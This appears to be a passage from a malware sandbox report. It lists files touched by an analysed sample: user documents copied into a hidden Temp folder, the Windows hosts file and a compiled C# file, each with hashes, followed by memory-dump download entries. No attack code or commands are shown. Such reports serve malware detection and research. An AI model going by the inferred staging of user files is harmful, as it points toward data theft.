SHA512 5c5c9b6a8c878b36efa19ed1ee1a1941bbe5beb0d698bf5173715043d943aa771a392f037bdfbf30ef1eb69d1284fddb766daa8b15ab24d54dc8ec50d3bf07dc
MD5 SHA1 SHA512

Submit Download

CompressSelect.jpeg

Path C:\Users\Admin\AppData\Local\Temp\ ‏ \Common Files\Desktop\CompressSelect.jpeg
Size 537KB
SHA256 6362cece095ada97aaacd05593e5988b6714fe543d6eb91b64b822fe69fdb53a
MD5 cf2e70af3a35420ae2e31aca5c081690
SHA1 3681d2f79fe836f7e2da040638be663ce6ec3fa3
SHA512 e537e9132c1f18ff58701f86d6412df571441a4e6c714ad53ca48cf59121fe372055ab7dbc1d955cc820fcb1b6f860d4592d42a161356705e8ff04add99987e0
SSDEEP 12288:cnvcv2yUsC5Nd2S8UmK14/ucGXVWhf7/htxG:cWC57z8U714/EMD0
MD5 SHA1 SHA512 SSDEEP

Submit Download

InitializeResize.csv

Path C:\Users\Admin\AppData\Local\Temp\ ‏ \Common Files\Desktop\InitializeResize.csv
Size 495KB
SHA256 34a4e6d434107a41669c7f1f612284b9beccc8e05c4154c0d6dfc133fa82ae43
MD5 ff011e3de0fa19f3ee512e96579e9f1e
SHA1 526f4b355482ab10d066da3f08ec592cfb8eb0ab
SHA512 a7b07bba954daa44e87e03d772b6a350c2c043b68b36bba394039ddabbc721be73e391f84943ed781cfbb1f6c65f83686ea6d9f056c771bd789a8c803df75463
SSDEEP 12288:aH2illIlkGtXm34z9km4u7setDew21AvxiK6c5l0k:aWillOn19b4u7RD2gb6Dk
MD5 SHA1 SHA512 SSDEEP

Submit Download

SetWrite.docx

Path C:\Users\Admin\AppData\Local\Temp\ ‏ \Common Files\Desktop\SetWrite.docx
Size 368KB
SHA256 ee0e13e4a992d589614fdc9182ff5d5cba876638e6f5adcd36625f4ddea2b3f1
MD5 fc7c9770d33c394add614232f7195891
SHA1 34a9a3c559cc7dd8a1d20c06a252dfdce00eba4f
SHA512 076014dea61e4118033ee7e766734bbc9b72204a1fd812191a6d50dd93b3716b1e47220a0b99ad8ff49483a440b81c7fb0bd7d82c417dbeeee92bd6484105629
SSDEEP 6144:Qkvqqe4fjBpY9mze6FSvv3RxXB0j0Kx9LUFFZ2w3ONM5cy6r9i3VM7byLy:QcveeM9BaS3hpDKfQF+w3hmn9i3VM8y
MD5 SHA1 SHA512 SSDEEP

Submit Download

Are.docx

Path C:\Users\Admin\AppData\Local\Temp\ ‏ \Common Files\Documents\Are.docx
Size 11KB
SHA256 5abf8e3d1f78de7b09d7f6fb87f9e80e60caacf13ef3c1289665653dacd7c454
MD5 a33e5b189842c5867f46566bdbf7a095
SHA1 e1c06359f6a76da90d19e8fd95e79c832edb3196
SHA512 f2ad3812ec9b915e9618539b0f103f2e9acaad25fbbacd84941c954ce070af231324e83a4621e951c1dbae8d40d50410954e40dd52bbd46e34c54b0d1957407b
SSDEEP 192:CtNCEE33S7Ok0CMSYbcBVk6tqM16iPBkeawLWdxd7o3Lp:aNwC78uYbcBv6akwLWdxdE3Lp
MD5 SHA1 SHA512 SSDEEP

Submit Download

BackupWrite.vsd

Path C:\Users\Admin\AppData\Local\Temp\ ‏ \Common Files\Documents\BackupWrite.vsd
Size 1.0MB
SHA256 f21ff44a543057d9ea384b5350c9b02a83e76dd3ebaabc0cdc37f79dac959cf0
MD5 c4b08b0bb29483232b9e668a6934ebf0
SHA1 7b158249c21bf4a09aa51bb5cbbae301e9a96e58
SHA512 16d3a04e8656114debed6830119badb76b28bc9f75cd8f810e3f0fdb47ded285d0eda6e9e99577c7980c22f20de4372aad93507d90cfe143f0e566a269616449
SSDEEP 24576:pFYr4EVErhFvrwcbvm060rgfqmhmJ55Zd0zOSreoxY:pFNEVOFrjm+rgfwhqO7oxY
MD5 SHA1 SHA512 SSDEEP

Submit Download

Files.docx

Path C:\Users\Admin\AppData\Local\Temp\ ‏ \Common Files\Documents\Files.docx
Size 11KB
SHA256 714cd32f8edacb3befbfc4b17db5b6eb05c2c8936e3bae14ea25a6050d88ae42
MD5 4a8fbd593a733fc669169d614021185b
SHA1 166e66575715d4c52bcb471c09bdbc5a9bb2f615
SHA512 6b2ebbbc34cd821fd9b3d7711d9cdadd8736412227e191883e5df19068f8118b7c80248eb61cc0a2f785a4153871a6003d79de934254b2c74c33b284c507a33b
SSDEEP 192:CtNCnd3S7Ok0vaAhs4nYbcBVi6LeZ6iPBkeawLWdxd7ob0qf:aNSdC78rpnYbcB06akwLWdxdEwqf
MD5 SHA1 SHA512 SSDEEP

Submit Download

LimitClear.xls

Path C:\Users\Admin\AppData\Local\Temp\ ‏ \Common Files\Documents\LimitClear.xls
Size 521KB
SHA256 b2c342675bcb5164ee55b92b90f767ba4c7da68147f93c603ebefce037b6f6f8
MD5 115e7fe08e70207fd182f9a48f3bb39e
SHA1 1ded6351fb851298d4601bc08168a84ded306299
SHA512 085ebffa2fcd491d3544adc291b0c2b2557defdcd40ac081f93803bfaf8703a07d08cbf227cd521bde6adb1fcd4d5f9081518cd180aa90cf0f6e9c3ee67396fe
SSDEEP 12288:RykZcOpGaMjqjxVfhbELefDR1dxr5aM5BPDJyD2TiIvkz/GO:okZh0Rji2LefDPlhB70ciAkzP
MD5 SHA1 SHA512 SSDEEP

Submit Download

Opened.docx

Path C:\Users\Admin\AppData\Local\Temp\ ‏ \Common Files\Documents\Opened.docx
Size 11KB
SHA256 272ed278e82c84cf4f80f48ec7989e1fc35f2055d6d05b63c8a31880846597a6
MD5 bfbc1a403197ac8cfc95638c2da2cf0e
SHA1 634658f4dd9747e87fa540f5ba47e218acfc8af2
SHA512 b8938526fcbf7152805aec130ca553e3ec949cb825430a5d0a25c90ec5eb0863857010484a4b31fdc4bb65a4c92ad7127c812b93114be4569a677f60debe43b1
SSDEEP 192:CtNCKZkVA03S7Ok0DaRmzRTJYbcBVm+T5TXX6iPBkeawLWdxd7oKJfW:aNrOA0C78EqdYbcBf6akwLWdxdEAfW
MD5 SHA1 SHA512 SSDEEP

Submit Download

Recently.docx

Path C:\Users\Admin\AppData\Local\Temp\ ‏ \Common Files\Documents\Recently.docx
Size 11KB
SHA256 07db44a8d6c3a512b15f1cb7262a2d7e4b63ced2130bc9228515431699191cc7
MD5 3b068f508d40eb8258ff0b0592ca1f9c
SHA1 59ac025c3256e9c6c86165082974fe791ff9833a
SHA512 e29624bc8fecb0e2a9d917642375bd97b42502e5f23812195a61a4920cae5b6ed540e74dfcf8432dcceb7de906ad0501cdd68056f9b0ec86a6bb0c1e336bfe32
SSDEEP 192:CtNCBPq3S7Ok0epRhm9YbcBVbfaKM16iPBkeawLWdxd7oIVRX:aNOiC78eBm9YbcBwl6akwLWdxdEIVRX
MD5 SHA1 SHA512 SSDEEP

Submit Download

These.docx

Path C:\Users\Admin\AppData\Local\Temp\ ‏ \Common Files\Documents\These.docx
Size 11KB
SHA256 57e3b0d22fa619da90237d8bcf8f922b142c9f6abf47efc5a1f5b208c4d3f023
MD5 87cbab2a743fb7e0625cc332c9aac537
SHA1 50f858caa7f4ac3a93cf141a5d15b4edeb447ee7
SHA512 6b678f0dd0030806effe6825fd52a6a30b951e0c3dcf91dfd7a713d387aa8b39ec24368e9623c463360acba5e929e268f75ce996526c5d4485894b8ac6b2e0fa
SSDEEP 192:CtNC9N3c3S7Ok0SRYbcBV7LDN7a926iPBkeawLWdxd7o8aZ:aNC3cC78AYbcBZRo26akwLWdxdE8aZ
MD5 SHA1 SHA512 SSDEEP

Submit Download

UndoBackup.pdf

Path C:\Users\Admin\AppData\Local\Temp\ ‏ \Common Files\Documents\UndoBackup.pdf
Size 372KB
SHA256 ccec20b90da47fd6af251f05e2af586e1f1d728f65956fbc12d2d272417220ca
MD5 bbf3ac686de0e59cef523a36a7a2c786
SHA1 e82d81b75ca05bcdefe95a1f06e5dbc51f63e59a
SHA512 e0d3eebdd6bbcb1ba0e56d1a475f6c0bd11a5e7b6681ce8862a475871a256315081ba33698e38077de18b5b4c67afa5326459be13edeb113323184cfc15558f9
SSDEEP 6144:wTUkfJ9tYmP2iW96FAIzEpGfyRy8hMCeCznm+HzMF6Gq62g/bMpA6T9squcz2oxB:w9fJ9eim6mHpuyRy83eUnm+HApq62gxE
MD5 SHA1 SHA512 SSDEEP

Submit Download

BackupExpand.png

Path C:\Users\Admin\AppData\Local\Temp\ ‏ \Common Files\Downloads\BackupExpand.png
Size 546KB
SHA256 44298a0d60e738251b3bda225baf4f679c9e12ab127742e0bd426716bcb51ef6
MD5 37d390193942e96723d74be6c994173e
SHA1 6bfebce3853c59aa435567493d08667576966806
SHA512 ced5adfe087f96a379dfec091fe5d83ae975ee5198eedb59aa1571f3aa882abb611e303c2e373d1587a59a0ec5457ec91d89a44dab848a9a597252457228b824
SSDEEP 12288:ynsEKq1UXxaVwTYTv/2jlSBukmgZZ10W8kX+fQPSsbxpox:3++aVbmeudgGWbSQPSWx2x
MD5 SHA1 SHA512 SSDEEP

Submit Download

CompleteBackup.vsdx

Path C:\Users\Admin\AppData\Local\Temp\ ‏ \Common Files\Downloads\CompleteBackup.vsdx
Size 966KB
SHA256 457077e34e5f346ddc44b73bb4933ddf91bfd27645ccd5947c44ea85c0efffe0
MD5 58b355ee5255e6188947345bf73c748f
SHA1 83e85054390b8b1d77c7b784656ccceef30f3c6b
SHA512 8bbf0b26a3761541b086cce92b1b5cd2a54aa183a92061f90c9c4e7018ecaae827a3c7f72e388fb1d7a78659ba693afdcbbbb8e20315ecdaab2966ecc5c508a7
SSDEEP 24576:bjiwGkrLXk1L1T7yX2DrEPhcFtERUdOVJF:JGkQ1HN1FShp
MD5 SHA1 SHA512 SSDEEP

Submit Download

SaveAdd.jpeg

Path C:\Users\Admin\AppData\Local\Temp\ ‏ \Common Files\Downloads\SaveAdd.jpeg
Size 651KB
SHA256 1dd61414f81f98250e1105caa0981c6d196be760ee3500ef2aacde2df32c31ac
MD5 f4e570dfe86e551b09acbde9cb1e0feb
SHA1 c47637d093b319255203a3078252681be194e739
SHA512 700c38623e50d06231a763ec3e5bb1926d2a26784da0ad5a8c0908f89cdfcdde10c0bb8f89dc9fe0ca2e59cc0ce170d6b19c8a63d314c591ce0643b74d395abc
SSDEEP 12288:UikHeQXG4u4AKb2Hfvrjw/Dk1VYtqZi/tpGYUO2Q6YaVS0SVpZGrNCWEp8xj:UikRXEKK/vfwgYmi/3UDQ6Y6tQWfV
MD5 SHA1 SHA512 SSDEEP

Submit Download

UnlockClose.mp4

Path C:\Users\Admin\AppData\Local\Temp\ ‏ \Common Files\Downloads\UnlockClose.mp4
Size 567KB
SHA256 60d097d426e5ae104438bfe0f52a75b982660380786c91450808752bde90cbb6
MD5 67b8bf6bb6bfe0af1c51cae5105d713c
SHA1 8f89305d1c649a117924b23d0e2da11aa1d55d6b
SHA512 b1089a80ed16a2f0cbbb6dca45f7b17f5f963b8c45ebee6cb9109e463c821bcf2f99ee7812255f48632ccfff0a403a77c24a1f4f31d1e613ec6dc884f40fa2a8
SSDEEP 12288:XdWITur0guGPRhGhp4NawZVfDlnvm1KMi+PGkw0WkbirpkRiA2ycIN:trTuzuGJAh7wDD9DMiARWkbirpw9ao
MD5 SHA1 SHA512 SSDEEP

Submit Download

BackupWrite.zip

Path C:\Users\Admin\AppData\Local\Temp\ ‏ \Common Files\Music\BackupWrite.zip
Size 1.3MB
SHA256 faf67445ba4d6c1ca676fce2e1a08f0148d1ad99e6b9f3bba8e979cca597889a
MD5 05ae6cb2b3ae5b2a4f9bd1bb56b1a09c
SHA1 dd501d75ffc6dedee1714bac3dc5799253da53d1
SHA512 4a1ba72c796c7e72822bd35d793515b56949b972be881323d4e4db3d9a312954afb4bea1cdb7e6b4b3a87126085666ca7b827be214ac277dd006a2d8d456a516
SSDEEP 24576:IHkRBMG+MnK8rA5X12nmdyYD7Il3P8w1HylKy8YXwUG:2kjdvAS6BDQylzG
MD5 SHA1 SHA512 SSDEEP

Submit Download

hosts

Path C:\Windows\System32\drivers\etc\hosts
Size 2KB
SHA256 a040d43136f2f4c41a4875f895060fb910267f2ffad2e3b1991b15c92f53e0f0
MD5 f99e42cdd8b2f9f1a3c062fe9cf6e131
SHA1 e32bdcab8da0e3cdafb6e3876763cee002ab7307
SHA512 c55a5e440326c59099615b21d0948cdc2a42bd9cf5990ec88f69187fa540d8c2e91aebe6a25ed8359a47be29d42357fec4bd987ca7fae0f1a6b6db18e1c320a6
MD5 SHA1 SHA512

Submit Download

ie0x21hd.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\ie0x21hd\ie0x21hd.0.cs
Size 1004B
SHA256 8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7
MD5 c76055a0388b713a1eabe16130684dc3
SHA1 ee11e84cf41d8a43340f7102e17660072906c402
SHA512 22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2
MD5 SHA1 SHA512

Submit Download

ie0x21hd.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\ie0x21hd\ie0x21hd.cmdline
Size 607B
SHA256 084618ee592afa58b84710fcf977510ab36d22c3f5bbd5528909e9db3c595538
MD5 2f5f7e7af393c6658f386cf11b9c58ca
SHA1 e76394c691be67523a3999943ac5554021cb68a8
SHA512 b951601d1fa351157512db409c71bd58134233872bb2f83f0e4038def36b2069c37189b3467118eac627fedf6cb9537b9a3ed5310700ac574b577b42aa19f537
MD5 SHA1 SHA512

Submit Download

memory/2616-54-0x00007FF839570000-0x00007FF83959D000-memory.dmp

Download

memory/2616-349-0x00007FF839570000-0x00007FF83959D000-memory.dmp

Download

memory/2616-331-0x00007FF825B20000-0x00007FF826109000-memory.dmp

Download

memory/2616-83-0x00007FF835810000-0x00007FF835833000-memory.dmp

Download

memory/2616-343-0x00007FF835360000-0x00007FF835374000-memory.dmp

Download

memory/2616-82-0x00007FF8252B0000-0x00007FF8253CC000-memory.dmp

Download

memory/2616-78-0x00007FF8360D0000-0x00007FF8360DD000-memory.dmp

Download

memory/2616-76-0x00007FF835360000-0x00007FF835374000-memory.dmp

Download

memory/2616-344-0x00007FF8360D0000-0x00007FF8360DD000-memory.dmp

Download

memory/2616-73-0x00007FF825630000-0x00007FF8259A9000-memory.dmp

Download

memory/2616-272-0x00007FF8355F0000-0x00007FF835609000-memory.dmp

Download

memory/2616-74-0x00007FF835880000-0x00007FF8358A3000-memory.dmp

Download

memory/2616-72-0x000002972FE30000-0x00000297301A9000-memory.dmp

Download

memory/2616-71-0x00007FF835380000-0x00007FF835438000-memory.dmp

Download

memory/2616-70-0x00007FF825B20000-0x00007FF826109000-memory.dmp

Download

memory/2616-66-0x00007FF8355C0000-0x00007FF8355EE000-memory.dmp

Download

memory/2616-64-0x00007FF839530000-0x00007FF83953D000-memory.dmp

Download

memory/2616-62-0x00007FF8355F0000-0x00007FF835609000-memory.dmp

Download

memory/2616-60-0x00007FF8259B0000-0x00007FF825B20000-memory.dmp

Download

memory/2616-58-0x00007FF835810000-0x00007FF835833000-memory.dmp

Download

memory/2616-56-0x00007FF839550000-0x00007FF839569000-memory.dmp

Download

memory/2616-85-0x00007FF8259B0000-0x00007FF825B20000-memory.dmp

Download

memory/2616-48-0x00007FF839540000-0x00007FF83954F000-memory.dmp

Download

memory/2616-30-0x00007FF835880000-0x00007FF8358A3000-memory.dmp

Download

memory/2616-341-0x00007FF835380000-0x00007FF835438000-memory.dmp

Download

memory/2616-25-0x00007FF825B20000-0x00007FF826109000-memory.dmp

Download

memory/2616-346-0x00007FF825630000-0x00007FF8259A9000-memory.dmp

Download

memory/2616-313-0x00007FF8355C0000-0x00007FF8355EE000-memory.dmp

Download

memory/2616-314-0x00007FF835380000-0x00007FF835438000-memory.dmp

Download

memory/2616-330-0x000002972FE30000-0x00000297301A9000-memory.dmp

Download

memory/2616-326-0x00007FF825630000-0x00007FF8259A9000-memory.dmp

Download

memory/2616-321-0x00007FF8259B0000-0x00007FF825B20000-memory.dmp

Download

memory/2616-315-0x00007FF825B20000-0x00007FF826109000-memory.dmp

Download

memory/2616-316-0x00007FF835880000-0x00007FF8358A3000-memory.dmp

Download

memory/2616-345-0x00007FF8252B0000-0x00007FF8253CC000-memory.dmp

Download

memory/2616-355-0x00007FF8355C0000-0x00007FF8355EE000-memory.dmp

Download

memory/2616-356-0x000002972FE30000-0x00000297301A9000-memory.dmp

Download

memory/2616-354-0x00007FF839530000-0x00007FF83953D000-memory.dmp

Download

memory/2616-353-0x00007FF8355F0000-0x00007FF835609000-memory.dmp

Download

memory/2616-352-0x00007FF8259B0000-0x00007FF825B20000-memory.dmp

Download

memory/2616-351-0x00007FF835810000-0x00007FF835833000-memory.dmp

Download

memory/2616-350-0x00007FF839550000-0x00007FF839569000-memory.dmp

Download

memory/2616-347-0x00007FF835880000-0x00007FF8358A3000-memory.dmp

Download

memory/2616-348-0x00007FF839540000-0x00007FF83954F000-memory.dmp

Download

memory/3100-202-0x000002533A940000-0x000002533A948000-memory.dmp

Download

memory/3212-95-0x000001BEE3390000-0x000001BEE33B2000-memory.dmp

Download

memory/3212-84-0x00007FF824573000-0x00007FF824575000-memory.dmp

Download

memory/3212-97-0x00007FF824570000-0x00007FF825031000-memory.dmp

Download

memory/3212-216-0x00007FF824570000-0x00007FF825031000-memory.dmp

Download

memory/3212-96-0x00007FF824570000-0x00007FF825031000-memory.dmp

Download